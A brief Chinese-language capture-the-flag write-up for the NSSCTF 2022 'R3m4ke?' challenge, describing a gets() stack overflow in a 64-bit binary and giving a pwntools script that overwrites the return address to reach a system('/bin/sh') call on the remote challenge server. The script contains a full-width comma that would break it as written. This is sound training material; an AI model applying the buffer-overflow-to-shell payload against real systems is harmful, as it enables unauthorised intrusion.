[NSSCTF 2022 Spring Recruit]R3m4ke?

checksec 发现是64位文件

打开main函数发现gets，典型的栈溢出

发现/bin/sh

找到system和/bin/sh

from pwn import *
context(os='linux'，arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn',28565)
payload = b'a'* (0x20+8) + p64(0x40072C)
io.sendline(payload)
io.interactive()

得到flag